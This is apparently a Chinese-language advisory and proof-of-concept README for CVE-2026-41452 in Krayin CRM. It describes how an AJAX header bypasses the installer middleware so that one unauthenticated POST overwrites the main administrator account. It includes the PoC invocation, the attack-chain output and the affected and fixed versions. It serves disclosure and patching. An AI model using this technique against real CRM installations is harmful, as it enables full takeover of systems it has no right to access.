CVSS 9.8(严重) · CWE-287 / CWE-306 · Jiva 分析文章 · VulnCheck
Krayin CRM 的安装程序暴露了 POST /install/api/admin-config-setup(以及 run-migration、
run-seeder)接口,但没有 CSRF 保护(withoutMiddleware('web') 组)。CanInstall
全局中间件仅对非 AJAX 请求拦截该路由:
// app/Http/Middleware/CanInstall.php
if ($this->isAlreadyInstalled() && ! $request->ajax()) {
return redirect()->route('admin.dashboard');
}
发送 X-Requested-With: XMLHttpRequest 即可完全绕过该检查。控制器随后
使用 updateOrInsert 将硬编码的主管理员(用户 id=1)替换为攻击者提供的
name/email/password(role_id=1、status=1)→ 在已安装的实例上实现未认证的完全管理员接管。
受影响版本: ≤ 2.2.0 和 2.2.4(回归)。已修复:2.2.1(e4eb96f5),在 2.2.4 中回归
(6a7bc4cc),在 2.2.5 中重新修复(ea4919a8)。master 在调研时仍然存在漏洞。
python3 poc_cve-2026-41452.py http://TARGET newadmin [email protected] 'NewPass@123'
攻击链:
X-Requested-With: XMLHttpRequest → HTTP 200 1 → 管理员(id=1)被覆盖/admin/login → 重定向到 /admin/dashboard[0] NON-AJAX POST -> HTTP 302 (blocked by CanInstall) [OK control]
[1] AJAX POST /install/api/admin-config-setup -> HTTP 200 '1' [OK overwrite]
[2] login [email protected] -> HTTP 302 /admin/dashboard [OK]
[3] GET /admin/dashboard -> HTTP 200 (full dashboard) [OK]
=== VERDICT: CVE-2026-41452 EXPLOITABLE ===
已修复版本对比:使用 v2.2.5 文件时,相同的 AJAX POST → HTTP 403(被拦截)。
任何可公开访问的 Krayin CRM 安装(v2.2.4 或 ≤2.2.0)都可能被未认证的攻击者 通过一次请求完全接管。无需 CSRF、无需凭据、无需用户交互。
ea4919a8(v2.2.5)· 回归:6a7bc4cc(v2.2.4)· 首次修复:e4eb96f5(v2.2.1)